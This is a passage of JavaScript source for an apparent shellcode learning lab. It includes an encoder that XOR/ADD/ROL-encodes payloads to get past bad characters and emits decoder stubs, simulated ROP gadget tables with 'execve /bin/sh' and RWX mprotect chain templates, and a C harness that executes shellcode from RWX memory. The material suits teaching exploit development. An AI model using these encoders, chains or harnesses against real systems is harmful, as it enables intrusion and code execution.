    if (archKey === "arm64") {
      if (op === "svc") return "01 00 00 d4";
      if (op === "ret") return "c0 03 5f d6";
      return ".. .. .. ..";
    }
    return "..";
  }, [arch]);

  // Compute register cross-references for hovered register
  const computeXrefs = useCallback((reg, parsed) => {
    if (!reg || !parsed) return { reads: [], writes: [] };
    const reads = [];
    const writes = [];
    const rLow = reg.toLowerCase();
    let instrIdx = 0;
    parsed.forEach((p, i) => {
      if (p.type !== "instr") return;
      const opLow = p.op;
      const ops = (p.operands || []).map(o => cleanOp(o));
      // First operand is typically destination (write) for mov, add, sub, xor, etc.
      const writeOps = ["mov","movl","movq","movabs","add","addl","addq","sub","subl","subq","xor","xorl","and","andl","or","orl","orr","eor","shl","shr","sar","rol","ror","not","neg","inc","dec","pop","lea","mul","imul","div"];
      if (writeOps.includes(opLow) && ops[0] === rLow) writes.push(instrIdx);
      // Check all operands for reads
      ops.forEach((o, oi) => {
        if (o === rLow) {
          if (writeOps.includes(opLow) && oi === 0) { /* already counted as write */ }
          else reads.push(instrIdx);
          // xor reg, reg is both read and write of same reg
          if ((opLow === "xor" || opLow === "eor") && oi === 1 && ops[0] === rLow) reads.push(instrIdx);
          // For add/sub/and/or/xor, dst is also read
          if (["add","sub","and","or","xor","shl","shr","sar","rol","ror"].includes(opLow) && oi === 0) reads.push(instrIdx);
        }
      });
      // push reads the operand
      if (opLow === "push" && ops[0] === rLow) reads.push(instrIdx);
      // cmp/test reads both operands
      if ((opLow === "cmp" || opLow === "test") && ops.includes(rLow)) reads.push(instrIdx);
      // call/ret/int/syscall implicitly use registers
      if (opLow === "int" || opLow === "syscall" || opLow === "svc") {
        if (a.syscallArgs.includes(rLow) || rLow === a.syscallReg) reads.push(instrIdx);
      }
      instrIdx++;
    });
    return { reads: [...new Set(reads)], writes: [...new Set(writes)] };
  }, [a]);

  const dbgXrefs = useMemo(() => {
    if (!dbgHoverReg || !dbgParsed) return { reads: [], writes: [] };
    return computeXrefs(dbgHoverReg, dbgParsed);
  }, [dbgHoverReg, dbgParsed, computeXrefs]);

  // ═══ ENCODER WORKSHOP STATE ═══
  const [encInput, setEncInput] = useState("");
  const [encBadChars, setEncBadChars] = useState("00,0a,0d");
  const [encMethod, setEncMethod] = useState("xor1"); // xor1, xorN, add, sub, rol
  const [encKey, setEncKey] = useState("");
  const [encAutoKey, setEncAutoKey] = useState(true);
  const [encResult, setEncResult] = useState(null);

  // Parse hex input string to byte array
  const parseHexInput = useCallback((input) => {
    const clean = input.replace(/\\x/g, " ").replace(/0x/g, " ").replace(/,/g, " ").replace(/[^0-9a-fA-F\s]/g, "").trim();
    if (!clean) return [];
    return clean.split(/\s+/).filter(Boolean).map(h => parseInt(h, 16)).filter(b => !isNaN(b) && b >= 0 && b <= 255);
  }, []);

  const parseBadChars = useCallback((input) => {
    return parseHexInput(input);
  }, [parseHexInput]);

  // Find optimal single-byte XOR key that avoids all bad chars
  const findXorKey = useCallback((bytes, badChars) => {
    for (let key = 1; key <= 255; key++) {
      if (badChars.includes(key)) continue;
      let valid = true;
      for (const b of bytes) {
        const encoded = b ^ key;
        if (badChars.includes(encoded)) { valid = false; break; }
      }
      if (valid) return key;
    }
    return null;
  }, []);

  // Find multi-byte key
  const findMultiKey = useCallback((bytes, badChars, keyLen = 4) => {
    const key = [];
    for (let ki = 0; ki < keyLen; ki++) {
      let found = false;
      for (let k = 1; k <= 255; k++) {
        if (badChars.includes(k)) continue;
        let valid = true;
        for (let bi = ki; bi < bytes.length; bi += keyLen) {
          if (badChars.includes(bytes[bi] ^ k)) { valid = false; break; }
        }
        if (valid) { key.push(k); found = true; break; }
      }
      if (!found) key.push(0xAA);
    }
    return key;
  }, []);

  // Encode shellcode
  const runEncode = useCallback(() => {
    const bytes = parseHexInput(encInput);
    if (bytes.length === 0) return;
    const badChars = parseBadChars(encBadChars);
    let encoded = [];
    let keyUsed = [];
    let decoderStub = "";
    let decoderBytes = [];

    if (encMethod === "xor1") {
      let key;
      if (encAutoKey) {
        key = findXorKey(bytes, badChars);
        if (key === null) { setEncResult({ error: "No valid single-byte XOR key found. Try multi-byte or different bad chars." }); return; }
      } else {
        key = parseHexInput(encKey)[0] || 0xAA;
      }
      keyUsed = [key];
      encoded = bytes.map(b => b ^ key);

      if (arch === "x86") {
        decoderStub = `; XOR Decoder Stub — x86 (key: 0x${key.toString(16).padStart(2,"0")})
jmp short _get_addr
_decoder:
  pop esi                 ; ESI = shellcode address
  xor ecx, ecx
  mov cl, ${bytes.length}          ; shellcode length
_decode_loop:
  xor byte [esi], 0x${key.toString(16).padStart(2,"0")}   ; XOR with key
  inc esi
  loop _decode_loop
  jmp short _shellcode
_get_addr:
  call _decoder
_shellcode:
  ; <encoded shellcode bytes go here>`;
        decoderBytes = [0xEB, 0x0D, 0x5E, 0x31, 0xC9, 0xB1, bytes.length & 0xFF, 0x80, 0x36, key, 0x46, 0xE2, 0xFB, 0xEB, 0x05, 0xE8, 0xEE, 0xFF, 0xFF, 0xFF];
      } else {
        decoderStub = `; XOR Decoder Stub — x86-64 (key: 0x${key.toString(16).padStart(2,"0")})
jmp short _get_addr
_decoder:
  pop rsi                 ; RSI = shellcode address
  xor rcx, rcx
  mov cl, ${bytes.length}          ; shellcode length
_decode_loop:
  xor byte [rsi], 0x${key.toString(16).padStart(2,"0")}   ; XOR with key
  inc rsi
  loop _decode_loop
  jmp short _shellcode
_get_addr:
  call _decoder
_shellcode:
  ; <encoded shellcode bytes go here>`;
        decoderBytes = [0xEB, 0x11, 0x5E, 0x48, 0x31, 0xC9, 0xB1, bytes.length & 0xFF, 0x80, 0x36, key, 0x48, 0xFF, 0xC6, 0xE2, 0xF8, 0xEB, 0x05, 0xE8, 0xEA, 0xFF, 0xFF, 0xFF];
      }
    } else if (encMethod === "xorN") {
      const keyArr = encAutoKey ? findMultiKey(bytes, badChars, 4) : parseHexInput(encKey).slice(0, 8);
      if (keyArr.length === 0) { setEncResult({ error: "Invalid multi-byte key" }); return; }
      keyUsed = keyArr;
      encoded = bytes.map((b, i) => b ^ keyArr[i % keyArr.length]);

      decoderStub = `; Rolling XOR Decoder — key: ${keyArr.map(k => "0x" + k.toString(16).padStart(2,"0")).join(" ")}
; Key length: ${keyArr.length}, Payload: ${bytes.length} bytes
; Decoder uses the same JMP-CALL-POP pattern
; with a key index that wraps every ${keyArr.length} bytes`;
      decoderBytes = [0x90]; // placeholder
    } else if (encMethod === "add") {
      let key;
      if (encAutoKey) {
        for (let k = 1; k <= 255; k++) {
          if (badChars.includes(k)) continue;
          let ok = true;
          for (const b of bytes) { if (badChars.includes((b + k) & 0xFF)) { ok = false; break; } }
          if (ok) { key = k; break; }
        }
        if (!key) { setEncResult({ error: "No valid ADD key found." }); return; }
      } else {
        key = parseHexInput(encKey)[0] || 5;
      }
      keyUsed = [key];
      encoded = bytes.map(b => (b + key) & 0xFF);
      decoderStub = `; ADD Encoder (key: 0x${key.toString(16).padStart(2,"0")})
; Decoder SUBtracts key from each byte
; SUB byte [esi], 0x${key.toString(16).padStart(2,"0")} in loop`;
      decoderBytes = [0x90];
    } else if (encMethod === "sub") {
      let key;
      if (encAutoKey) {
        for (let k = 1; k <= 255; k++) {
          if (badChars.includes(k)) continue;
          let ok = true;
          for (const b of bytes) { if (badChars.includes((b - k + 256) & 0xFF)) { ok = false; break; } }
          if (ok) { key = k; break; }
        }
        if (!key) { setEncResult({ error: "No valid SUB key found." }); return; }
      } else {
        key = parseHexInput(encKey)[0] || 5;
      }
      keyUsed = [key];
      encoded = bytes.map(b => (b - key + 256) & 0xFF);
      decoderStub = `; SUB Encoder (key: 0x${key.toString(16).padStart(2,"0")})
; Decoder ADDs key to each byte`;
      decoderBytes = [0x90];
    } else if (encMethod === "rol") {
      const bits = encAutoKey ? 3 : (parseHexInput(encKey)[0] || 3);
      keyUsed = [bits];
      encoded = bytes.map(b => ((b << bits) | (b >>> (8 - bits))) & 0xFF);
      decoderStub = `; ROL Encoder (${bits} bits)
; Decoder RORs each byte by ${bits}`;
      decoderBytes = [0x90];
    }

    // Check encoded for bad chars
    const encodedBadChars = [];
    encoded.forEach((b, i) => {
      if (badChars.includes(b)) encodedBadChars.push({ index: i, value: b });
    });

    setEncResult({
      original: bytes,
      encoded,
      key: keyUsed,
      method: encMethod,
      decoderStub,
      decoderBytes,
      badChars,
      encodedBadChars,
      totalSize: decoderBytes.length + encoded.length,
    });
  }, [encInput, encBadChars, encMethod, encKey, encAutoKey, arch, parseHexInput, parseBadChars, findXorKey, findMultiKey]);

  // Load shellcode from template into encoder
  const loadTemplateToEncoder = useCallback((templateBytes) => {
    const clean = templateBytes.replace(/\.\.\./g, "").trim();
    setEncInput(clean);
    setEncResult(null);
  }, []);

  // ═══ ROP GADGET EXPLORER STATE ═══
  const [ropChain, setRopChain] = useState([]);
  const [ropSearch, setRopSearch] = useState("");
  const [ropFilter, setRopFilter] = useState("all");
  const [ropSelected, setRopSelected] = useState(null);
  const [ropStackAddr, setRopStackAddr] = useState(0xBFFFF000);

  // Simulated gadget databases per architecture
  const ROP_GADGETS = useMemo(() => ({
    x86: [
      { addr: 0x080491a3, bytes: "5f c3", asm: "pop edi; ret", cat: "pop", regs: ["edi"], notes: "Load value into EDI" },
      { addr: 0x080491a2, bytes: "5e c3", asm: "pop esi; ret", cat: "pop", regs: ["esi"], notes: "Load value into ESI" },
      { addr: 0x080491a1, bytes: "5b c3", asm: "pop ebx; ret", cat: "pop", regs: ["ebx"], notes: "Load value into EBX (syscall arg1)" },
      { addr: 0x080491a4, bytes: "59 c3", asm: "pop ecx; ret", cat: "pop", regs: ["ecx"], notes: "Load value into ECX (syscall arg2)" },
      { addr: 0x080491a5, bytes: "5a c3", asm: "pop edx; ret", cat: "pop", regs: ["edx"], notes: "Load value into EDX (syscall arg3)" },
      { addr: 0x080491a6, bytes: "58 c3", asm: "pop eax; ret", cat: "pop", regs: ["eax"], notes: "Load value into EAX (syscall number)" },
      { addr: 0x080491b0, bytes: "5b 5e 5f c3", asm: "pop ebx; pop esi; pop edi; ret", cat: "multipop", regs: ["ebx","esi","edi"], notes: "Load 3 registers in one gadget" },
      { addr: 0x080491c0, bytes: "31 c0 c3", asm: "xor eax, eax; ret", cat: "zero", regs: ["eax"], notes: "Zero EAX (for building syscall num)" },
      { addr: 0x080491c4, bytes: "31 db c3", asm: "xor ebx, ebx; ret", cat: "zero", regs: ["ebx"], notes: "Zero EBX" },
      { addr: 0x080491d0, bytes: "89 e3 c3", asm: "mov ebx, esp; ret", cat: "move", regs: ["ebx"], notes: "EBX = current stack pointer" },
      { addr: 0x080491d4, bytes: "89 f9 c3", asm: "mov ecx, edi; ret", cat: "move", regs: ["ecx"], notes: "Copy EDI to ECX" },
      { addr: 0x080491e0, bytes: "40 c3", asm: "inc eax; ret", cat: "arith", regs: ["eax"], notes: "Increment EAX (build syscall number)" },
      { addr: 0x080491e4, bytes: "01 d8 c3", asm: "add eax, ebx; ret", cat: "arith", regs: ["eax"], notes: "Add EBX to EAX" },
      { addr: 0x080491f0, bytes: "cd 80 c3", asm: "int 0x80; ret", cat: "syscall", regs: [], notes: "Execute syscall (x86 Linux)" },
      { addr: 0x080491f4, bytes: "cd 80", asm: "int 0x80", cat: "syscall", regs: [], notes: "Syscall (no ret — end of chain)" },
      { addr: 0x08049200, bytes: "c3", asm: "ret", cat: "ret", regs: [], notes: "Stack pivot / alignment" },
      { addr: 0x08049210, bytes: "ff e4", asm: "jmp esp", cat: "jmp", regs: [], notes: "Jump to stack (if executable)" },
      { addr: 0x08049220, bytes: "94 c3", asm: "xchg eax, esp; ret", cat: "pivot", regs: ["eax","esp"], notes: "Stack pivot via XCHG" },
      { addr: 0x08049230, bytes: "87 ec c3", asm: "xchg esp, ebp; ret", cat: "pivot", regs: ["esp","ebp"], notes: "Stack pivot via EBP" },
      { addr: 0x08049240, bytes: "8b 06 c3", asm: "mov eax, [esi]; ret", cat: "deref", regs: ["eax"], notes: "Dereference ESI pointer into EAX" },
      { addr: 0x08049250, bytes: "89 03 c3", asm: "mov [ebx], eax; ret", cat: "write", regs: [], notes: "Write EAX to address in EBX" },
    ],
    x64: [
      { addr: 0x00401143, bytes: "5f c3", asm: "pop rdi; ret", cat: "pop", regs: ["rdi"], notes: "Load RDI (arg1 — System V)" },
      { addr: 0x00401144, bytes: "5e c3", asm: "pop rsi; ret", cat: "pop", regs: ["rsi"], notes: "Load RSI (arg2)" },
      { addr: 0x00401145, bytes: "5a c3", asm: "pop rdx; ret", cat: "pop", regs: ["rdx"], notes: "Load RDX (arg3)" },
      { addr: 0x00401146, bytes: "58 c3", asm: "pop rax; ret", cat: "pop", regs: ["rax"], notes: "Load RAX (syscall number)" },
      { addr: 0x00401147, bytes: "59 c3", asm: "pop rcx; ret", cat: "pop", regs: ["rcx"], notes: "Load RCX (arg4 in Windows)" },
      { addr: 0x00401148, bytes: "41 5c c3", asm: "pop r12; ret", cat: "pop", regs: ["r12"], notes: "Load R12 (callee-saved scratch)" },
      { addr: 0x00401150, bytes: "5f 5e 5a c3", asm: "pop rdi; pop rsi; pop rdx; ret", cat: "multipop", regs: ["rdi","rsi","rdx"], notes: "Load 3 syscall args at once" },
      { addr: 0x00401160, bytes: "48 31 c0 c3", asm: "xor rax, rax; ret", cat: "zero", regs: ["rax"], notes: "Zero RAX" },
      { addr: 0x00401164, bytes: "48 31 ff c3", asm: "xor rdi, rdi; ret", cat: "zero", regs: ["rdi"], notes: "Zero RDI" },
      { addr: 0x00401170, bytes: "48 89 e7 c3", asm: "mov rdi, rsp; ret", cat: "move", regs: ["rdi"], notes: "RDI = stack pointer (string ref)" },
      { addr: 0x00401174, bytes: "48 89 c6 c3", asm: "mov rsi, rax; ret", cat: "move", regs: ["rsi"], notes: "Copy RAX to RSI" },
      { addr: 0x00401180, bytes: "48 ff c0 c3", asm: "inc rax; ret", cat: "arith", regs: ["rax"], notes: "Increment RAX" },
      { addr: 0x00401190, bytes: "0f 05 c3", asm: "syscall; ret", cat: "syscall", regs: [], notes: "Execute syscall (x64 Linux)" },
      { addr: 0x00401194, bytes: "0f 05", asm: "syscall", cat: "syscall", regs: [], notes: "Syscall (chain terminator)" },
      { addr: 0x004011a0, bytes: "c3", asm: "ret", cat: "ret", regs: [], notes: "NOP-slide / alignment" },
      { addr: 0x004011b0, bytes: "ff e4", asm: "jmp rsp", cat: "jmp", regs: [], notes: "Jump to stack" },
      { addr: 0x004011c0, bytes: "48 89 34 24 c3", asm: "mov [rsp], rsi; ret", cat: "write", regs: [], notes: "Write RSI to top of stack" },
      { addr: 0x004011d0, bytes: "48 8b 07 c3", asm: "mov rax, [rdi]; ret", cat: "deref", regs: ["rax"], notes: "Dereference RDI into RAX" },
    ],
    arm32: [
      { addr: 0x00010430, bytes: "00 80 bd e8", asm: "pop {pc}", cat: "ret", regs: [], notes: "ARM return (pop PC from stack)" },
      { addr: 0x00010434, bytes: "04 b0 8d e2 00 80 bd e8", asm: "add r11, sp, #4; pop {pc}", cat: "pop", regs: ["r11"], notes: "Frame setup + return" },
      { addr: 0x00010440, bytes: "30 40 bd e8", asm: "pop {r4, r5, pc}", cat: "multipop", regs: ["r4","r5"], notes: "Load R4, R5 and return" },
      { addr: 0x00010444, bytes: "f0 41 bd e8", asm: "pop {r4, r5, r6, r7, r8, pc}", cat: "multipop", regs: ["r4","r5","r6","r7","r8"], notes: "Load R4-R8 (R7=syscall#) and return" },
      { addr: 0x00010450, bytes: "00 00 00 ef", asm: "svc #0", cat: "syscall", regs: [], notes: "ARM syscall (supervisor call)" },
      { addr: 0x00010454, bytes: "00 00 a0 e1", asm: "mov r0, r0 (nop)", cat: "ret", regs: [], notes: "ARM NOP — alignment" },
      { addr: 0x00010460, bytes: "01 00 a0 e3 1e ff 2f e1", asm: "mov r0, #1; bx lr", cat: "arith", regs: ["r0"], notes: "Set R0=1 and return" },
      { addr: 0x00010468, bytes: "00 00 a0 e3 1e ff 2f e1", asm: "mov r0, #0; bx lr", cat: "zero", regs: ["r0"], notes: "Zero R0 and return" },
      { addr: 0x00010470, bytes: "07 00 a0 e1 1e ff 2f e1", asm: "mov r0, r7; bx lr", cat: "move", regs: ["r0"], notes: "Copy R7 to R0" },
      { addr: 0x00010478, bytes: "04 00 a0 e1 1e ff 2f e1", asm: "mov r0, r4; bx lr", cat: "move", regs: ["r0"], notes: "Copy R4 to R0" },
      { addr: 0x00010480, bytes: "0d 00 a0 e1 1e ff 2f e1", asm: "mov r0, sp; bx lr", cat: "move", regs: ["r0"], notes: "R0 = stack pointer (string ref)" },
      { addr: 0x00010488, bytes: "00 00 84 e5 1e ff 2f e1", asm: "str r0, [r4]; bx lr", cat: "write", regs: [], notes: "Write R0 to [R4]" },
      { addr: 0x00010490, bytes: "00 00 94 e5 1e ff 2f e1", asm: "ldr r0, [r4]; bx lr", cat: "deref", regs: ["r0"], notes: "Dereference [R4] into R0" },
    ],
    arm64: [
      { addr: 0x004005c0, bytes: "c0 03 5f d6", asm: "ret", cat: "ret", regs: [], notes: "AArch64 return (BR X30)" },
      { addr: 0x004005d0, bytes: "fd 7b c1 a8 c0 03 5f d6", asm: "ldp x29, x30, [sp], #16; ret", cat: "pop", regs: ["x29","x30"], notes: "Restore frame and return" },
      { addr: 0x004005e0, bytes: "01 00 00 d4", asm: "svc #0", cat: "syscall", regs: [], notes: "AArch64 syscall" },
      { addr: 0x004005e8, bytes: "01 00 00 d4 c0 03 5f d6", asm: "svc #0; ret", cat: "syscall", regs: [], notes: "Syscall with return (chainable)" },
      { addr: 0x004005f0, bytes: "e0 03 13 aa c0 03 5f d6", asm: "mov x0, x19; ret", cat: "move", regs: ["x0"], notes: "X0 = X19 (callee-saved scratch)" },
      { addr: 0x004005f8, bytes: "e0 03 14 aa c0 03 5f d6", asm: "mov x0, x20; ret", cat: "move", regs: ["x0"], notes: "X0 = X20" },
      { addr: 0x00400600, bytes: "e1 03 15 aa c0 03 5f d6", asm: "mov x1, x21; ret", cat: "move", regs: ["x1"], notes: "X1 = X21" },
      { addr: 0x00400608, bytes: "e2 03 16 aa c0 03 5f d6", asm: "mov x2, x22; ret", cat: "move", regs: ["x2"], notes: "X2 = X22" },
      { addr: 0x00400610, bytes: "e0 03 1f aa c0 03 5f d6", asm: "mov x0, xzr; ret", cat: "zero", regs: ["x0"], notes: "Zero X0 (via XZR)" },
      { addr: 0x00400618, bytes: "e8 03 1f aa c0 03 5f d6", asm: "mov x8, xzr; ret", cat: "zero", regs: ["x8"], notes: "Zero X8 (syscall reg)" },
      { addr: 0x00400620, bytes: "f3 53 c1 a8 f5 5b c2 a8 c0 03 5f d6", asm: "ldp x19,x20,[sp],#16; ldp x21,x22,[sp],#16; ret", cat: "multipop", regs: ["x19","x20","x21","x22"], notes: "Load 4 callee-saved regs" },
      { addr: 0x00400630, bytes: "e0 07 40 f9 c0 03 5f d6", asm: "ldr x0, [sp, #8]; ret", cat: "deref", regs: ["x0"], notes: "Load X0 from stack" },
      { addr: 0x00400638, bytes: "e0 03 00 91 c0 03 5f d6", asm: "mov x0, sp; ret", cat: "move", regs: ["x0"], notes: "X0 = stack pointer (string ref)" },
    ],
  }), []);

  // ROP chain pre-built templates
  const ROP_TEMPLATES = useMemo(() => ({
    x86: {
      "execve /bin/sh": [
        { gadgetIdx: 5, value: 0x0b, label: "EAX = 11 (sys_execve)" },
        { gadgetIdx: 2, value: 0x08049300, label: "EBX = &'/bin/sh'" },
        { gadgetIdx: 3, value: 0x00, label: "ECX = NULL (argv)" },
        { gadgetIdx: 4, value: 0x00, label: "EDX = NULL (envp)" },
        { gadgetIdx: 14, value: null, label: "int 0x80 (trigger)" },
      ],
      "mprotect RWX": [
        { gadgetIdx: 5, value: 125, label: "EAX = 125 (sys_mprotect)" },
        { gadgetIdx: 2, value: 0x08048000, label: "EBX = page addr" },
        { gadgetIdx: 3, value: 0x1000, label: "ECX = length" },
        { gadgetIdx: 4, value: 0x7, label: "EDX = 7 (RWX)" },
        { gadgetIdx: 14, value: null, label: "int 0x80" },
      ],
    },
    x64: {
      "execve /bin/sh": [
        { gadgetIdx: 3, value: 59, label: "RAX = 59 (sys_execve)" },
        { gadgetIdx: 0, value: 0x00404300, label: "RDI = &'/bin/sh'" },
        { gadgetIdx: 1, value: 0x00, label: "RSI = NULL (argv)" },
        { gadgetIdx: 2, value: 0x00, label: "RDX = NULL (envp)" },
        { gadgetIdx: 13, value: null, label: "syscall" },
      ],
      "mprotect + jmp rsp": [
        { gadgetIdx: 3, value: 10, label: "RAX = 10 (sys_mprotect)" },
        { gadgetIdx: 0, value: 0x00400000, label: "RDI = page addr" },
        { gadgetIdx: 1, value: 0x1000, label: "RSI = length" },
        { gadgetIdx: 2, value: 0x7, label: "RDX = 7 (RWX)" },
        { gadgetIdx: 12, value: null, label: "syscall; ret" },
        { gadgetIdx: 15, value: null, label: "jmp rsp → shellcode" },
      ],
    },
    arm32: {
      "execve /bin/sh": [
        { gadgetIdx: 3, value: 0x41414141, label: "pop R4-R8 (R7=11=execve)" },
        { gadgetIdx: 10, value: null, label: "R0 = SP (string ptr)" },
        { gadgetIdx: 7, value: null, label: "R0 already set" },
        { gadgetIdx: 4, value: null, label: "svc #0 (trigger)" },
      ],
    },
    arm64: {
      "execve /bin/sh": [
        { gadgetIdx: 10, value: null, label: "Load X19-X22 from stack" },
        { gadgetIdx: 4, value: null, label: "X0=X19 → filename" },
        { gadgetIdx: 8, value: null, label: "Zero X0 for setup" },
        { gadgetIdx: 12, value: null, label: "X0 = SP (string ref)" },
        { gadgetIdx: 3, value: null, label: "svc #0; ret" },
      ],
    },
  }), []);

  const addGadgetToChain = useCallback((gadget, value = 0x41414141) => {
    setRopChain(prev => [...prev, { gadget, value, id: Date.now() }]);
  }, []);

  const removeFromChain = useCallback((id) => {
    setRopChain(prev => prev.filter(e => e.id !== id));
  }, []);

  const moveChainItem = useCallback((idx, dir) => {
    setRopChain(prev => {
      const arr = [...prev];
      const newIdx = idx + dir;
      if (newIdx < 0 || newIdx >= arr.length) return arr;
      [arr[idx], arr[newIdx]] = [arr[newIdx], arr[idx]];
      return arr;
    });
  }, []);

  const updateChainValue = useCallback((id, newVal) => {
    setRopChain(prev => prev.map(e => e.id === id ? { ...e, value: newVal } : e));
  }, []);

  const loadRopTemplate = useCallback((name) => {
    const templates = ROP_TEMPLATES[arch];
    const gadgets = ROP_GADGETS[arch];
    if (!templates?.[name] || !gadgets) return;
    const chain = templates[name].map(item => ({
      gadget: gadgets[item.gadgetIdx] || gadgets[0],
      value: item.value ?? 0x41414141,
      label: item.label,
      id: Date.now() + Math.random(),
    }));
    setRopChain(chain);
  }, [arch, ROP_TEMPLATES, ROP_GADGETS]);

  // ═══ HARNESS STATE ═══
  const [harnessInput, setHarnessInput] = useState("");
  const [harnessFormat, setHarnessFormat] = useState("elf");

  // Generate harness code
  const generateHarness = useCallback((scBytes) => {
    const bytes = parseHexInput(scBytes || harnessInput);
    if (!bytes.length) return null;
    const hexStr = bytes.map(b => "\\x" + b.toString(16).padStart(2, "0")).join("");
    const is64 = arch === "x64" || arch === "arm64";
    const archFlag = arch === "x64" ? "elf64" : arch === "x86" ? "elf32" : arch === "arm32" ? "" : "";
    const ldArch = arch === "x64" ? "elf_x86_64" : arch === "x86" ? "elf_i386" : "armelf_linux_eabi";

    const nasmSource = `; shellcode.asm — ${ARCHS[arch].name}
; Assemble: nasm -f ${archFlag} shellcode.asm -o shellcode.o
; Link:     ld ${is64 ? "" : "-m " + ldArch + " "}shellcode.o -o shellcode
; Test:     ./shellcode

section .text
global _start

_start:
    ; === Shellcode payload ===
    db ${bytes.map(b => "0x" + b.toString(16).padStart(2, "0")).join(", ")}`;

    const cWrapper = `/*
 * shellcode_test.c — Shellcode Testing Harness
 * Architecture: ${ARCHS[arch].name} (${ARCHS[arch].bits}-bit)
 * Payload size: ${bytes.length} bytes
 *
 * Compile (${arch === "x64" ? "64-bit" : "32-bit"}):
 *   gcc ${is64 ? "" : "-m32 "}-z execstack -fno-stack-protector \\
 *       -o shellcode_test shellcode_test.c
 *
 * Or with mmap (no execstack needed):
 *   gcc ${is64 ? "" : "-m32 "}-o shellcode_test shellcode_test.c
 */

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] =
    "${hexStr}";

int main(int argc, char **argv) {
    printf("[*] SHELL//LAB Test Harness\\n");
    printf("[*] Architecture: ${ARCHS[arch].name}\\n");
    printf("[*] Shellcode length: %lu bytes\\n", sizeof(shellcode) - 1);

    /* Check for null bytes */
    int nulls = 0;
    for (size_t i = 0; i < sizeof(shellcode) - 1; i++) {
        if (shellcode[i] == 0x00) nulls++;
    }
    if (nulls > 0)
        printf("[!] WARNING: %d null byte(s) detected\\n", nulls);
    else
        printf("[+] No null bytes — clean payload\\n");

    /* Allocate RWX memory */
    void *exec = mmap(NULL, sizeof(shellcode),
                      PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (exec == MAP_FAILED) {
        perror("[-] mmap failed");
        return 1;
    }

    /* Copy shellcode to executable memory */
    memcpy(exec, shellcode, sizeof(shellcode) - 1);
    printf("[*] Shellcode mapped at: %p\\n", exec);
    printf("[*] Executing...\\n\\n");

    /* Cast to function pointer and execute */
    ((void(*)())exec)();

    /* If we get here, shellcode returned */
    printf("\\n[*] Shellcode returned cleanly\\n");
    return 0;
}`;

    const makefile = `# Makefile — SHELL//LAB Shellcode Build Pipeline
# Architecture: ${ARCHS[arch].name}
ARCH    = ${arch === "x64" ? "elf64" : "elf32"}
LDARCH  = ${ldArch}
CC      = gcc
NASM    = nasm
LD      = ld
CFLAGS  = ${is64 ? "" : "-m32 "}-z execstack -fno-stack-protector -no-pie
OBJDUMP = objdump

.PHONY: all clean test extract

all: shellcode shellcode_test

# Assemble raw shellcode
shellcode.o: shellcode.asm
\t$(NASM) -f $(ARCH) $< -o $@

shellcode: shellcode.o
\t$(LD) ${is64 ? "" : "-m $(LDARCH) "}$< -o $@

# Build C test harness
shellcode_test: shellcode_test.c
\t$(CC) $(CFLAGS) -o $@ $<

# Extract raw bytes from assembled binary
extract: shellcode
\t@echo "[*] Extracting .text section..."
\t@objcopy -O binary -j .text shellcode shellcode.bin
\t@xxd -i shellcode.bin | head -20
\t@echo "[*] Raw bytes in shellcode.bin"
\t@echo "[*] Hex dump:"
\t@xxd shellcode.bin
\t@echo "[*] Size: $$(wc -c < shellcode.bin) bytes"

# Disassemble
disasm: shellcode
\t$(OBJDUMP) -d -M intel shellcode

# Check for null bytes
nullcheck: shellcode.bin
\t@echo "[*] Null byte scan:"
\t@if grep -cP '\\x00' shellcode.bin > /dev/null 2>&1; then \\
\t\techo "[!] NULL BYTES FOUND:"; \\
\t\txxd shellcode.bin | grep ' 00'; \\
\telse \\
\t\techo "[+] No null bytes detected"; \\
\tfi

# Run shellcode in test harness
test: shellcode_test
\t@echo "[*] Running shellcode test harness..."
\t./shellcode_test

clean:
\trm -f shellcode shellcode.o shellcode_test shellcode.bin`;

    const objdumpSim = `$ nasm -f ${archFlag} shellcode.asm -o shellcode.o
$ ld ${is64 ? "" : "-m " + ldArch + " "}shellcode.o -o shellcode
$ objdump -d -M intel shellcode

shellcode:     file format ${is64 ? "elf64-x86-64" : "elf32-i386"}

Disassembly of section .text:

${(CODE_BASE).toString(16).padStart(8, "0")} <_start>:
${bytes.map((b, i) => {
  const addr = CODE_BASE + i;
  return " " + addr.toString(16) + ":\t" + b.toString(16).padStart(2, "0");
}).join("\n")}

$ objcopy -O binary -j .text shellcode shellcode.bin
$ xxd shellcode.bin
00000000: ${bytes.slice(0, 16).map(b => b.toString(16).padStart(2, "0")).join(" ")}  ${bytes.slice(0, 16).map(b => b >= 0x20 && b < 0x7f ? String.fromCharCode(b) : ".").join("")}
${bytes.length > 16 ? "00000010: " + bytes.slice(16, 32).map(b => b.toString(16).padStart(2, "0")).join(" ") + "  " + bytes.slice(16, 32).map(b => b >= 0x20 && b < 0x7f ? String.fromCharCode(b) : ".").join("") : ""}
$ wc -c shellcode.bin
${bytes.length} shellcode.bin
$ echo "[+] ${bytes.length} bytes, ${bytes.filter(b => b === 0).length} null bytes"`;

    return { nasmSource, cWrapper, makefile, objdumpSim, bytes, hexStr };
  }, [arch, harnessInput, parseHexInput]);

  // ═══ ANALYSIS ENGINE (Phase 6) ═══
  const [anaCode, setAnaCode] = useState("");
  const [anaParsed, setAnaParsed] = useState(null);
  const [anaLabels, setAnaLabels] = useState({});
  const [anaAnnotations, setAnaAnnotations] = useState({});
  const [anaEditingNote, setAnaEditingNote] = useState(null);
  const [anaNoteText, setAnaNoteText] = useState("");
  const [anaView, setAnaView] = useState("cfg"); // cfg, decomp, strings, listing

  const anaLoad = useCallback((code) => {
    const src = code || anaCode;
    if (!src.trim()) return;
    const { instructions, labels } = parseAsmLines(src, arch);
    setAnaParsed(instructions);
    setAnaLabels(labels);
  }, [anaCode, arch]);

  // Build basic blocks for CFG
  const buildCFG = useCallback((parsed, labels) => {
    if (!parsed) return [];
    const instrs = parsed.filter(p => p.type === "instr");
    if (!instrs.length) return [];

    const flowOps = ["jmp","je","jz","jne","jnz","jg","jl","jge","jle","ja","jb","jae","jbe","js","jns","jnle","jnge","jnbe","jnae","call","b","bl","beq","bne","bgt","blt","bge","ble","b.eq","b.ne","cbz","cbnz","loop"];
    const termOps = ["ret","bx","int","syscall","svc","jmp","b"];
    const condJumps = ["je","jz","jne","jnz","jg","jl","jge","jle","ja","jb","jae","jbe","js","jns","jnle","jnge","jnbe","jnae","beq","bne","bgt","blt","bge","ble","b.eq","b.ne","cbz","cbnz","loop"];

    // Find block boundaries — a new block starts after a branch, at a branch target, or at a label
